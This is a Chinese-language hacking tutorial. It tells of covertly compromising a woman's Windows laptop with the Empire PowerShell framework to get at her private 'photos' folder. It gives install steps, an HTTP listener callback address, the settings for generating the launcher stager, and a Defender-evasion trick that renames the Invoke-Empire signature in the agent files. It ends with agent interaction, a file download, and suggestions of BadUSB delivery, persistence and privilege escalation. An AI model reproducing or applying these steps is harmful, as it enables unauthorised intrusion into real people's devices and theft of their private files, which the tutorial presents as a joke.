卸载windows defender_Empire 绕过Windows 防护

本文出自社区攻防研究组 DDBG

前些时候，在朋友那里玩，然后遇见一个小姐姐找我朋友弄电脑（妹子还不错），本着助人为乐的精神，我也在旁边瞅了瞅，然后眼睛一亮，看见一个名为”照片“的文件夹，寻思着能打开看看吗，但是小姐姐在旁边，不方便如此直接，于是有了下文

滴！Linux启动

大致过程：生成一个马儿，然后绕过Windows的防护，最后download

开搞

首先先用到的工具是Empire，Empire是一款针对于Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架，不过前不久Empire已经宣布停止维护了

1. 安装

# 下载
git clone https://github.com/EmpireProject/Empire
# 进入Empire/setup目录下，运行命令
sudo ./install.sh
# 运行好之后，运行下面命令进入Empire
 ./reset.sh

2. 设置监听

（1）选择监听方式

(Empire) > listener
(Empire: listeners) > uselistener http

（2）配置监听参数

# 设置监听名
set Name test
#设置反弹地址
set Host http://192.168.1.104:5678
# 设置端口
set Port 5678
# 最后执行
execute
# 返回上一步
back

3. 选择生成木马

（1） Empire 有多种木马种，这里我们选择通用型的

(Empire: listeners) > usestager mulit/launcher  +  test（刚刚设置的监听）

（2）可以把木马参数里面的SafeChecks 修改为Fslse ，这样就在执行木马时不用检查目标环境是否适配

（3）执行木马生成会生成一连串的powershell代码指令，经过base64编码过

（4）当我把生成的代码复制到另一台电脑执行时，会遇见Windows defender拦截警告，当然这不是我们想看到的，在网上搜索了一下，发现Windows-defender是检测到脚,把代码中包含有Invoke-Empire字段特征，所以我们需要修改Empire里面的相关文件

Empire/data/agent/agent.ps1
Empire/data/agent/stagers/http.ps1

把里面的Invoke-Empire字段修改为任意字段名（注意两个字段名修改为一样的）

（5）经过上面的修改之后，再次生成powershell代码，利用一点点大（she）学（gong）知识，在小姐姐上面运行powershell代码（小姐姐电脑上面没有防护软件，只有个自带的Windows-defender，窃喜

【目标上线】

4. 后续操作

（1）连接目标电脑

(Empire: listeners) > agents
(Empire: listeners) > interact xxxxxx(上条命令显示出来的目标名)

（2）下载照片（这里只是个演示）

(Empire: xxxxx)download time.jpg

总结

目标没有其他防护软件，所以这次比较简单，我在装有360/腾讯电脑管家电脑上试了一下发现都要拦截报警，大家可以尝试免杀，或者利用“小黄鸭”的方法来插上一块U盘自动执行代码。

多的，后续也可以在目标上安装持续性后门、提权、新建一个用户等之类的操作，我这里只能算是个开头吧，有更好的也可以交流互相学习

免责声明：不得将上述内容用于商业或者非法用途，否则，一切后果请用户自负。

此文章内容只供安全测试使用，如果对其它站点进行恶意攻击与本人无关，如使用遇到问题或好的建议，请及时与本人联系，谢谢！